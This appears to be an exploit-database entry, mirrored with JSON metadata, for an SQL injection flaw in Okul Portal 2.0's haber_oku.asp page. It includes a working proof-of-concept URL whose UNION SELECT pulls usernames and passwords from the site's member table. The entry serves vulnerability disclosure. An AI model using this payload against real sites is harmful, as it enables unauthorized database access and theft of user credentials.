Search...

Ibrahim Ã?AKICI Okul Portal Haber_Oku.ASP - SQL Injection Vulnerability

2007-06-08T00:00:00

ID EDB-ID:30165
Type exploitdb
Reporter ertuqrul
Modified 2007-06-08T00:00:00

Description

Ibrahim Ã?AKICI Okul Portal 2.0 Haber_Oku.ASP SQL Injection Vulnerability. Webapps exploit for asp platform

                                        
                                            source: http://www.securityfocus.com/bid/24379/info

Ibrahim Ă?AKICI Okul Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

Ibrahim Ă?AKICI Okul Portal 2.0 is vulnerable to this issue. 

http://www.example.com/haber_oku.asp?id=9%20union+select+0,sifre,kulladi,3,4,5,6+from+uyeler

JSON Vulners Source

Initial Source

{"hash": "90b88f8130483e1a90f1fb4bb238c557f2ee5656fb4505156e8e7a2bc9e10062", "id": "EDB-ID:30165", "lastseen": "2016-02-03T11:53:33", "enchantments": {"score": {"value": 5.0, "vector": "NONE"}, "vulnersScore": 5.0}, "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/30165/", "description": "Ibrahim \u00c3?AKICI Okul Portal 2.0 Haber_Oku.ASP SQL Injection Vulnerability. Webapps exploit for asp platform", "title": "Ibrahim \u00c3?AKICI Okul Portal Haber_Oku.ASP - SQL Injection Vulnerability", "sourceData": "source: http://www.securityfocus.com/bid/24379/info\r\n\r\nIbrahim \u0102\u0083?AKICI Okul Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.\r\n\r\nAn attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.\r\n\r\nIbrahim \u0102\u0083?AKICI Okul Portal 2.0 is vulnerable to this issue. \r\n\r\nhttp://www.example.com/haber_oku.asp?id=9%20union+select+0,sifre,kulladi,3,4,5,6+from+uyeler ", "objectVersion": "1.0", "cvelist": [], "published": "2007-06-08T00:00:00", "osvdbidlist": [], "references": [], "reporter": "ertuqrul", "modified": "2007-06-08T00:00:00", "href": "https://www.exploit-db.com/exploits/30165/"}